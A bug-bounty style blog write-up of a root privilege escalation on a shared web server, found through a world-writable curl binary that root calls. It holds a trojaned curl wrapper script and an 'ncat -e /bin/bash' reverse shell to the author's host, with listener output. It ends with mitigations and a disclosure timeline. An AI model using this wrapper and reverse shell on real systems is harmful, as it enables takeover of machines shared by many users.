After a lot of testing I found an interesting vulnerability on the webserver I was using to host my websites. It is a shared webserver with more than thousand users on it. Using this vulnerability I managed to get root access, read this article to find out how.

Finding The Vulnerability

To start searching for vulnerabilities on the server I used different enumeration tools that will perform common commands related to privilege escalation:

After going through a lot of false positives I found an interesting writable curl file using the second enumeration script (you can check out the blog of the maker here)

################################################################################
##
##  World Writable Files
##
################################################################################

/opt/altcurl/bin/curl

curl is a common command line tool for linux machines, but it is usually not installed on that specific path. Let’s first check the path of the normal curl command.

[user@webserver ~]$ which curl
/usr/bin/curl

As you can see, this is a different file. Let’s check out some details about the curl file we found.

[user@webserver ~]$ file /opt/altcurl/bin/curl
/opt/altcurl/bin/curl: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
[user@webserver ~]$ /opt/altcurl/bin/curl --version
curl 7.64.1 (x86_64-pc-linux-gnu) libcurl/7.64.1 OpenSSL/1.0.1e zlib/1.2.3 nghttp2/1.27.0
Release-Date: 2019-03-27
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp
Features: AsynchDNS HTTP2 HTTPS-proxy IPv6 Largefile libz NTLM NTLM_WB SSL UnixSockets

The file seems like an executable curl binary. We still don’t know if this curl binary is even being used, and if so, which users are using it. One thing is for sure: it shouldn’t be writable for everyone.

Gathering Information

Since we can overwrite this file it might be possible to execute commands from another user when they call this executable. The output of this executable shouldn’t be changed since it might break some things on the server so there are two options:

  • Overwrite the curl binary with a modified compiled curl binary
  • Overwrite the curl binary with a shell script that passes the arguments to the other curl binary we located earlier (/usr/bin/curl)

There is no compiler available on this shared server, so the second option will be a lot easier. It seems like a good first step to add some kind of logging to the executable to see what it is actually being used for. It is useful to log the name of the user that called this executable, it might later be possible to execute commands from that user. It can also be useful to log the arguments that are being given, it might expose some sensitive data. The curl file is the only world writable file on the server so it can also be used to save these logs, they can be added as comments to the shell script. The new curl file will look like this:

#!/bin/sh
echo "#$(whoami):$@" >> /opt/altcurl/bin/curl
/usr/bin/curl "$@"

After waiting a couple of hours the script was filled with some logs:

#root:-I --haproxy-protocol http://localhost:8142
#root:-I --haproxy-protocol http://localhost:8142
#root:-I --haproxy-protocol http://localhost:8142
#root:-I --haproxy-protocol http://localhost:8142
#root:-I --haproxy-protocol http://localhost:8142
#root:-I --haproxy-protocol http://localhost:8142

As you can see this curl executable is actually being used by the root user! It is probably used to monitor some services that are running on the server.

Exploitation

We now know this writable curl file is being used by the root user. The current script can be changed to try and set up a reverse shell with the root user. The output of the curl file still shouldn’t be changed, the new script will look like this:

#!/bin/sh
(ncat -e /bin/bash <MY-SERVER-IP> 2222 &) > /dev/null 2>&1
/usr/bin/curl "$@"

Everytime curl is executed, there will start a service in the background which tries to connect to my server. On my local machine I started a listener and after a few minutes a connection with the root user was succesfully made.

max@VPS:~$ nc -lvp 2222
Listening on [0.0.0.0] (family 0, port 2222)
Connection from webserver.net 36930 received!
python -c 'import pty; pty.spawn("/bin/bash")'
[root@webserver ~]# id
uid=0(root) gid=0(root) groups=0(root)
[root@webserver ~]#

Mitigation

  • Make the curl binary not writable for everyone
  • Verify whether the curl binary is not modified by users

Timeline

Date Description
17-05-2020 Reported Vulnerability
17-05-2020 Vulnerability confirmed
18-05-2020 Vulnerability patched
28-05-2020 Received reward €750